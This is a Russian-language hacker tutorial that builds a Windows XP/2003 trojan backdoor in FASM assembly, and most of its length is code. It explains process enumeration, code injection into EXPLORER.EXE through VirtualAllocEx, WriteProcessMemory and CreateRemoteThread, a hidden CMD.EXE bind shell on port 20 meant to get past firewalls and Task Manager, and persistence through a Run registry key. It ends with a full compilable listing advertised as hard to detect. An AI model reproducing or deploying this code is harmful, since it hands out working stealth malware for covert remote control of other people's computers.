Я не хвалюсь тем, чего у меня нет, - сказал он,
- и не выдаю себя за знатока морского дела и судоходства
Д.Ф.Купер
Если не все, то многие встречались с бэкдорами и троянскими конями. Сейчас
атрибутом почти каждого троянского коня стала расширенная функциональность. И
если раньше, когда в основном были распространены операционные системы
Windows 9x, было достаточно просто скрыть процесс от глаз пользователя, то
сейчас это стало достаточно сложно. В последнее время широкое распространение
получили операционные системы линейки Windows NT. Данные системы отличаются
гораздо болеё серьёзной защитой , отличающейся от защиты Windows 9x на порядки. Большинство пользователей считает, что от зоркого ока Task Managera не
спрячется ни один процесс. Но это истина лишь отчасти, возможен перехват
системной функции, которую использует Task Manager. Это позволит подменить
её результаты, например убрать сведения об одном из процессов. Но и это не
всё, возможно инжектирование кода в другой процесс. Данная техника убивает
двух зайцев одним ударом. Давайте разберёмся с этой техникой поподробнее,
помимо сокрытия процесса (по сути, как такового процесса и нет вовсе) данная
техника позволяет обойти брандмауэр. Каким образом? Достаточно инжектировать
код в процесс, для которого созданы политики безопасности и воспользоваться
данными политиками. Вот например, для Internet Explorer разрешены порты,
где-то в районе 30000 тысяч. Если в него инжектироваться и открыть порт
скажем 26384, то firewall покорно промолчит. Но как быть если Internet Explorer
не запущен? Не ждать же нам, пока его запустят. Поэтому мы инжектируем наш код
в процесс EXPLORER.EXE и откроем 20 порт, этот порт для данного процесса
разрешён и зарегистрирован как ftp-data. Это канал данных для протокола передачи
файлов. Теперь давайте перейдём к практическим аспектам, давайте определимся,
как мы будем инжектировать код в наш процесс. Я это сделал при помощи выделения
памяти в адресном пространстве EXPLORER.EXE и создания удалённого потока.
Первое, что нужно сделать для того, чтобы инжектировать код в процесс это
открыть наш процесс. А открывать мы его будем функцие WIN API
OpenProcess. Данной функции в качестве параметра передается ПИД (PID) открываемого процесса,
идентификатор. Чтобы узнать ПИД процесса существует несколько методов:
1) С помощью библиотеки Process Status Helper (PSAPI)
2) С помощью ToolHelp32 API
3) С помощью недокументированной функции ZwQuerySystemInformation
4) Через счетчики производительности
5) С использованием интерфейсов Windows Management Instrumentation
Task Manager получает сведения о процессах от функции
ZwQuerySystemInformation. Мы же будем использовать документированные функции ToolHelp32
API. Для получения ПИДа EXPLORER.EXE нам нужно вначале сделать снимок системы, и
после этого перебирать процессы (подобно тому, как это делается с файлами при
помощи функций FindFirstFile и FindNextFile).
Рассмотрим, как это делается на примере функции на ассемблере:
proc find_pid | Ищем ПИД |
push 0 | |
push 2 | Делаем снимок системы |
call [CreateToolhelp32Snapshot] | |
inc eax | |
test eax,eax | Ошибка? |
jz .exit__ | Выходим |
dec eax | |
mov [snapshot__],eax | Сохраняем хэндл |
mov [p_entry.dwSize],sizeof.PROCESSENTRY32 | |
push p_entry | |
push [snapshot__] | Получаем информацию о |
call [Process32First] | первом процессе |
test eax,eax | Ошибка? |
jz .exit__ | Выходим |
jmp .cmp__ | Идём на сравнение |
.p_next__: | |
mov [p_entry.dwSize],sizeof.PROCESSENTRY32 | |
push p_entry | |
push [snapshot__] | Получаем информацию о |
call [Process32Next] | следующем процессе |
test eax,eax | Ошибка? |
jz .exit__ | Выходим |
.cmp__: | |
push p_entry.szExeFile | |
push proga__ | Это EXPLORER.EXE? |
call [lstrcmp] | |
test eax,eax | |
jz .find_it__ | Да, нашли |
jmp .p_next__ | Нет, ищем дальше |
.find_it__: | |
mov eax,[p_entry.th32ProcessID] | |
mov [pid],eax | Сохраняем ПИД |
push [snapshot__] | |
call [CloseHandle] | Закрываем хэндл |
.exit__: | |
ret | Возврат из подпрограммы |
endp |
Здесь и далее в тексте используется FLAT ASSEMBLER (fasm 1.57), для компиляции
достаточно будет вставить код в его редактор и нажать комбинацию клавиш CTRL+F9.
Далее, после получения ПИДа процесса нужно открыть его, выделить в нём память,
записать в память код и передать на него управление. Рихтер в своей книге описал
этот метод достаточно подробно, но он передавал в чужое
адресное пространство не код, а имя библиотеки и загружал её LoadLibrary. Но этот метод нам не
подходит по 2-м причинам:
1) Необходимость 2-х файлов *.exe и *.dll, что не очень удобно (можно было бы конечно их склеить а потом "откусить" *.dll)
2) В адресном пространстве была бы видна неизвестная *.dll , а сейчас
filrewall'ы этого очень не любят.
Теперь рассмотрим подпрограмму инжектирования кода в
EXPLORER.EXE:
proc inject_code | Инжектируем код |
push [pid] | |
push 0 | |
push access__ | Открываем EXPLORER.EXE |
call [OpenProcess] | |
test eax,eax | Открыли? |
jz .exit__ | Нет, на выход |
mov [process__],eax | Сохраняем хэндл процесса |
push PAGE_READWRITE | |
push MEM_COMMIT | |
push 0x1000 | Выделяем в адресном |
push 0 | пространстве EXPLORER.EXE |
push [process__] | тысячу байт памяти |
call [VirtualAllocEx] | |
test eax,eax | Выделили? |
jz .exit__ | Нет, на выход |
mov [memory__],eax | Сохраняем хэндл памяти |
push 0 | |
push 0x1000 | |
push backdoor_code_ | Пишем в выделенную память |
push [memory__] | наш код |
push [process__] | |
call [WriteProcessMemory] | |
dec eax | |
test eax,eax | Записали успешно? |
jnz .exit__ | Нет, на выход |
inc eax | Да, работаем дальше |
push 0 | |
push 0 | |
push [memory__] | |
push [memory__] | Создаём удалённый поток |
push 0 | в EXPLORER.EXE |
push 0 | указывая на наш код |
push [process__] | |
call [CreateRemoteThread] | |
.exit__: | |
push [process__] | |
call [CloseHandle] | Закрываем хэндл |
ret | Возврат из подпрограммы |
endp |
Но у Рихтера после инжектирования *.dll не возникало никаких проблем,
потому что в *.dll содержится таблица перемещаемых элементов и все переходы по
ней правятся и работают. А нам придется создать переносимый код, почти как у
вируса. Но в отличии от вируса мы можем позволить себе просто сохранить в нашем
коде адреса необходимых функций. Потому как они перенастраиваются после каждого
запуска программы (загрузчиком), в разделе импорта.
Рассмотрим код, который отвечает за сохранение адресов функций WIN
API:
proc resolve_api | Сохраняем адреса API |
mov eax,[WSAStartup] | Получаем адрес функции |
mov [wsa_startup],eax | и сохраняем его в коде |
mov eax,[WSASocket] | Получаем адрес функции |
mov [wsa_socketa],eax | и сохраняем его в коде |
mov eax,[bind] | Получаем адрес функции |
mov [bind_],eax | и сохраняем его в коде |
mov eax,[listen] | Получаем адрес функции |
mov [listen_],eax | и сохраняем его в коде |
mov eax,[accept] | Получаем адрес функции |
mov [accept_],eax | и сохраняем его в коде |
mov eax,[CreateProcess] | Получаем адрес функции |
mov [create_process_],eax | и сохраняем его в коде |
mov eax,[CloseHandle] | Получаем адрес функции |
mov [close_handle_],eax | и сохраняем его в коде |
mov eax,[LoadLibrary] | Получаем адрес функции |
mov [loadlibrary_],eax | и сохраняем его в коде |
mov eax,[closesocket] | Получаем адрес функции |
mov [close_socket_],eax | и сохраняем его в коде |
ret | Возврат из подпрограммы |
endp |
Теперь перейдём к реализации самого инжектируемого кода, он создаётся
следующим образом. Вначале доступ к всем используемым данным перенастраивается,
через дельта смещение. Сами WIN API функции будут вызываться следующим образом:
mov eax, Адрес_функции
call eax
Сам алгоритм бэкдора следующий: инициализируем сокеты, создаём сокет,
привязываем его к 20 порту, после этого ждём соединения. Когда соединились
создаётся процесс CMD.EXE с перенаправленным вводом и выводом на сокет, после
завершения процесса закрываем соединение и всё повторяем заново. Это для того,
чтобы наш бэкдор не получился одноразовым.
Рассмотрим инжектируемый код:
backdoor_code_: | |
call deltax | |
deltax: pop ebp | Получаем дельта смещение |
sub ebp,deltax | |
lea eax,[ebp+ws2_32_2] | |
push eax | Загружаем библиотеку |
db 0xb8 | WS2_32.DLL(на всякий случай) |
loadlibrary_ dd 0 | Место где хранится адрес |
call eax | |
lea eax,[ebp+wsadata1] | |
push eax | |
push 0x101 | Вызываем функцию |
db 0xb8 | WSAStartup |
wsa_startup dd 0 | |
call eax | |
mov [ebp+sin.sin_family],2 | AF_INET |
mov eax,[ebp+n_port] | |
bswap eax | Преобразовываем номер |
shr eax,16 | порта к сетевому виду |
mov [ebp+sin.sin_port],ax | Заполняем структуру sin |
push 0 | |
push 0 | |
push 0 | |
push 0 | |
push 1 | |
push 2 | |
db 0xb8 | |
wsa_socketa dd 0 | Создаём сокет |
call eax | |
mov ebx,eax | Сохраняем его для |
mov [ebp+socket__],eax | дальнейшего использования |
push 16 | |
lea eax,[ebp+sin] | |
push eax | |
push ebx | |
db 0xb8 | |
bind_ dd 0 | Биндим сокет |
call eax | |
push 0 | |
push ebx | |
db 0xb8 | |
listen_ dd 0 | Переводим сокет в слушающий |
call eax | режим |
push 0 | |
push ecx | |
push ebx | |
db 0xb8 | |
accept_ dd 0 | Ждём соединения |
call eax | |
mov [ebp+handle_],eax | Сохраняем хэндл соединения |
Заполняем структуру | |
STARTUP_INFO | |
mov [ebp+s_info.dwFlags],flags__ | |
mov [ebp+s_info.wShowWindow],SW_HIDE | |
mov [ebp+s_info.hStdInput],eax | |
mov [ebp+s_info.hStdOutput],eax | |
mov [ebp+s_info.hStdError],eax | |
lea eax,[ebp+s_info] | Адрес структуры в eax |
push eax | |
push eax | |
xor ecx,ecx | |
push ecx | |
push ecx | |
push ecx | |
push 1 | |
push ecx | |
push ecx | |
lea eax,[ebp+cmd__] | |
push eax | Создаём процесс без окна |
push 0 | и с перенаправленным выводом |
на | |
db 0xb8 | сокет |
create_process_ dd 0 | Процесс CMD.EXE 🙂 |
call eax | |
push [ebp+handle_] | |
db 0xb8 | |
close_handle_ dd 0 | Закрываем хэндл соединения |
call eax | |
push [ebp+socket__] | |
db 0xb8 | |
close_socket_ dd 0 | Закрываем сокет |
call eax | |
lea edi,[s_info+ebp] | |
mov al,0 | |
mov ecx,sizeof.STARTUPINFO | Очищаем структуру |
rep stosb | STARTUPINFO |
jmp backdoor_code_ | И повторяем всё до |
бесконечности |
Но, как же код запустится после перезагрузки или после крушения
EXPLORER.EXE? Здесь, увы, я пока что новинками поделиться не могу, всё делается через классику
жанра - запись в реестре в ключик автозапуска.
Рассмотрим функцию инфицирования системы:
proc infect_system | Инфицируем систему |
push 255 | |
push old_dir | |
push 0 | Узнаём своё имя файла |
call [GetModuleFileName] | из которого стартовали |
push 255 | |
push win_dir | Получаем имя директории |
call [GetWindowsDirectory] | Windows |
mov edx,win_dir | |
mov dword [edx+eax],'\mem' | Формируем строку с полным |
mov dword [edx+eax+4],'srvc' | путём к Windows |
mov dword [edx+eax+8],'.exe' | и именем файла |
push 0 | |
push win_dir | |
push old_dir | Копируем себя в Windows |
call [CopyFile] | директорию |
xor eax,eax | |
push tmp | |
push h_key | |
push eax | |
push 3 | |
push eax | |
push eax | |
push eax | Открываем ключ реестра |
push reg__ | отвечающий за автозагрузку |
push 80000002h | |
call [RegCreateKeyEx] | |
push 256 | |
push win_dir | |
push 1 | |
push 0 | |
push reg2__ | Устанавливаем значение |
push [h_key] | в этом ключе на нашу |
call [RegSetValueEx] | программу |
push [h_key] | |
call [RegCloseKey] | Закрываем ключ |
ret | Возврат из подпрограммы |
endp |
Нужно заметить, что данный бэкдор на некоторых версиях Windows 2000 не работает,
по всей видимости из-за перенаправления ввода и вывода на сокет.
Далее идёт полный листинг троянского коня, которого достаточно сложно
обнаружить.
;%%%%%%%%%%%%%%%%%%%%%%%;
; WIN(XP/2k3).BACKDOOR.ABYRVALG V. 0.1
; (x) 2005 СЛОН http://sl0n.dzena.net ;
; (+) Не виден в списке задач ;
; (+) Обходит брандмауэры ;
; (+) Прописывается в регистре и поселяется в директории Windows ;
; (+) Открывает CMD.EXE на 20 порту из процесса EXPLORER.EXE ;
;%%%%%%%%%%%%%%%%%%%%%%%;
include '%fasminc%/win32ax.inc' | |
include 'struct.inc' | |
.data | |
start: | |
call infect_system | Инфицируем систему |
call resolve_api | Сохраняем адреса API |
call find_pid | Ищем ПИД |
call inject_code | Инжектируем код |
push 0 | |
call [ExitProcess] | Завершение программы |
proc infect_system | Инфицируем систему |
push 255 | |
push old_dir | |
push 0 | Узнаём своё имя файла |
call [GetModuleFileName] | из которого стартовали |
push 255 | |
push win_dir | Получаем имя директории |
call [GetWindowsDirectory] | Windows |
mov edx,win_dir | |
mov dword [edx+eax],'\mem' | Формируем строку с полным |
mov dword [edx+eax+4],'srvc' | путём к Windows |
mov dword [edx+eax+8],'.exe' | и именем файла |
push 0 | |
push win_dir | |
push old_dir | Копируем себя в Windows |
call [CopyFile] | директорию |
xor eax,eax | |
push tmp | |
push h_key | |
push eax | |
push 3 | |
push eax | |
push eax | |
push eax | Открываем ключ реестра |
push reg__ | отвечающий за автозагрузку |
push 80000002h | |
call [RegCreateKeyEx] | |
push 256 | |
push win_dir | |
push 1 | |
push 0 | |
push reg2__ | Устанавливаем значение |
push [h_key] | в этом ключе на нашу |
call [RegSetValueEx] | программу |
push [h_key] | |
call [RegCloseKey] | Закрываем ключ |
ret | Возврат из подпрограммы |
endp | |
proc resolve_api | Сохраняем адреса API |
mov eax,[WSAStartup] | Получаем адрес функции |
mov [wsa_startup],eax | и сохраняем его в коде |
mov eax,[WSASocket] | Получаем адрес функции |
mov [wsa_socketa],eax | и сохраняем его в коде |
mov eax,[bind] | Получаем адрес функции |
mov [bind_],eax | и сохраняем его в коде |
mov eax,[listen] | Получаем адрес функции |
mov [listen_],eax | и сохраняем его в коде |
mov eax,[accept] | Получаем адрес функции |
mov [accept_],eax | и сохраняем его в коде |
mov eax,[CreateProcess] | Получаем адрес функции |
mov [create_process_],eax | и сохраняем его в коде |
mov eax,[CloseHandle] | Получаем адрес функции |
mov [close_handle_],eax | и сохраняем его в коде |
mov eax,[LoadLibrary] | Получаем адрес функции |
mov [loadlibrary_],eax | и сохраняем его в коде |
mov eax,[closesocket] | Получаем адрес функции |
mov [close_socket_],eax | и сохраняем его в коде |
ret | Возврат из подпрограммы |
endp | |
proc find_pid | Ищем ПИД |
push 0 | |
push 2 | Делаем снимок системы |
call [CreateToolhelp32Snapshot] | |
inc eax | |
test eax,eax | Ошибка? |
jz .exit__ | Выходим |
dec eax | |
mov [snapshot__],eax | Сохраняем хэндл |
mov [p_entry.dwSize], sizeof.PROCESSENTRY32 |
|
push p_entry | |
push [snapshot__] | Получаем информацию о |
call [Process32First] | первом процессе |
test eax,eax | Ошибка? |
jz .exit__ | Выходим |
jmp .cmp__ | Идём на сравнение |
.p_next__: | |
mov [p_entry.dwSize], sizeof.PROCESSENTRY32 |
|
push p_entry | |
push [snapshot__] | Получаем информацию о |
call [Process32Next] | следующем процессе |
test eax,eax | Ошибка? |
jz .exit__ | Выходим |
.cmp__: | |
push p_entry.szExeFile | |
push proga__ | Это EXPLORER.EXE? |
call [lstrcmp] | |
test eax,eax | |
jz .find_it__ | Да, нашли |
jmp .p_next__ | Нет, ищем дальше |
.find_it__: | |
mov eax,[p_entry.th32ProcessID] | |
mov [pid],eax | Сохраняем ПИД |
push [snapshot__] | |
call [CloseHandle] | Закрываем хэндл |
.exit__: | |
ret | Возврат из подпрограммы |
endp | |
proc inject_code | Инжектируем код |
push [pid] | |
push 0 | |
push access__ | Открываем EXPLORER.EXE |
call [OpenProcess] | |
test eax,eax | Открыли? |
jz .exit__ | Нет, на выход |
mov [process__],eax | Сохраняем хэндл процесса |
push PAGE_READWRITE | |
push MEM_COMMIT | |
push 0x1000 | Выделяем в адрессном |
push 0 | пространстве EXPLORER.EXE |
push [process__] | тысячу байт памяти |
call [VirtualAllocEx] | |
test eax,eax | Выделили? |
jz .exit__ | Нет, на выход |
mov [memory__],eax | Сохраняем хэндл памяти |
push 0 | |
push 0x1000 | |
push backdoor_code_ | Пишем в выделенную память |
push [memory__] | наш код |
push [process__] | |
call [WriteProcessMemory] | |
dec eax | |
test eax,eax | Записали успешно? |
jnz .exit__ | Нет, на выход |
inc eax | Да, работаем дальше |
push 0 | |
push 0 | |
push [memory__] | |
push [memory__] | Создаём удалённый поток |
push 0 | в EXPLORER.EXE |
push 0 | указывая на наш код |
push [process__] | |
call [CreateRemoteThread] | |
.exit__: | |
push [process__] | |
call [CloseHandle] | Закрываем хэндл |
ret | Возврат из подпрограммы |
endp | |
backdoor_code_: | |
call deltax | |
deltax: pop ebp | Получаем дельта смещение |
sub ebp,deltax | |
lea eax,[ebp+ws2_32_2] | |
push eax | Загружаем библиотеку |
db 0xb8 | WS2_32.DLL(на всякий случай) |
loadlibrary_ dd 0 | Место где хранится адрес |
call eax | |
lea eax,[ebp+wsadata1] | |
push eax | |
push 0x101 | Вызываем функцию |
db 0xb8 | WSAStartup |
wsa_startup dd 0 | |
call eax | |
mov [ebp+sin.sin_family],2 | AF_INET |
mov eax,[ebp+n_port] | |
bswap eax | Преобразовываем номер |
shr eax,16 | порта к сетевому виду |
mov [ebp+sin.sin_port],ax | Заполняем структуру sin |
push 0 | |
push 0 | |
push 0 | |
push 0 | |
push 1 | |
push 2 | |
db 0xb8 | |
wsa_socketa dd 0 | Создаём сокет |
call eax | |
mov ebx,eax | Сохраняем его для |
mov [ebp+socket__],eax | дальнейшего использования |
push 16 | |
lea eax,[ebp+sin] | |
push eax | |
push ebx | |
db 0xb8 | |
bind_ dd 0 | Биндим сокет |
call eax | |
push 0 | |
push ebx | |
db 0xb8 | |
listen_ dd 0 | Переводим сокет в слушающий |
call eax | режим |
push 0 | |
push ecx | |
push ebx | |
db 0xb8 | |
accept_ dd 0 | Ждём соединения |
call eax | |
mov [ebp+handle_],eax | Сохраняем хэндл соединения |
Заполняем структуру | |
STARTUP_INFO | |
mov [ebp+s_info.dwFlags],flags__ | |
mov [ebp+s_info.wShowWindow], SW_HIDE |
|
mov [ebp+s_info.hStdInput],eax | |
mov [ebp+s_info.hStdOutput],eax | |
mov [ebp+s_info.hStdError],eax | |
lea eax,[ebp+s_info] | Адрес структуры в eax |
push eax | |
push eax | |
xor ecx,ecx | |
push ecx | |
push ecx | |
push ecx | |
push 1 | |
push ecx | |
push ecx | |
lea eax,[ebp+cmd__] | |
push eax | Создаём процесс без окна |
push 0 | и с перенаправленным выводом |
на | |
db 0xb8 | сокет |
create_process_ dd 0 | Процесс CMD.EXE 🙂 |
call eax | |
push [ebp+handle_] | |
db 0xb8 | |
close_handle_ dd 0 | Закрываем хэндл соединения |
call eax | |
push [ebp+socket__] | |
db 0xb8 | |
close_socket_ dd 0 | Закрываем сокет |
call eax | |
lea edi,[s_info+ebp] | |
mov al,0 | |
mov ecx,sizeof.STARTUPINFO | Очищаем структуру |
rep stosb | STARTUPINFO |
jmp backdoor_code_ | И повторяем всё до |
бесконечности | |
wsadata1 WSADATA | |
sin sockaddr_in | |
handle_ dd 0 | |
mhandle2 dd 0 | |
s_info STARTUPINFO | Здесь хранятся данные |
cmd__ db 'cmd',0 | |
socket__ dd 0 | |
ws2_32_2 db 'ws2_32.dll',0 | |
n_port dd 20 | |
backdoor_end: | |
access__ = PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD |
|
flags__ = STARTF_USESTDHANDLES+ STARTF_USESHOWWINDOW |
|
process__ dd ? | |
memory__ dd ? | |
thread__ dd ? | |
snapshot__ dd ? | Здесь тоже данные 🙂 |
p_entry PROCESSENTRY32 | |
proga__ db 'EXPLORER.EXE',0 | |
pid dd 0 | |
tmp dd 0 | |
h_key dd 0 | |
win_dir: times 255 db 0 | |
old_dir: times 255 db 0 | |
reg__: | |
db 'SOFTWARE\Microsoft\Windows \CurrentVersion\Run',0 |
|
reg2__: | |
db 'MemSrvc',0 | |
.end start |
Программы данного класса, получили широкое распространение не только у хакеров,
но и у системных администраторов, которые незримо следят за нерадивыми
пользователями. Так же, некоторые разновидности программ этого рода встречаются
в Интернет кафе. Поэтому, чтобы не попасться под "горячую" руку вашем системному
администратору, обновляйте как можно чаще ваши firewall и антивирусы.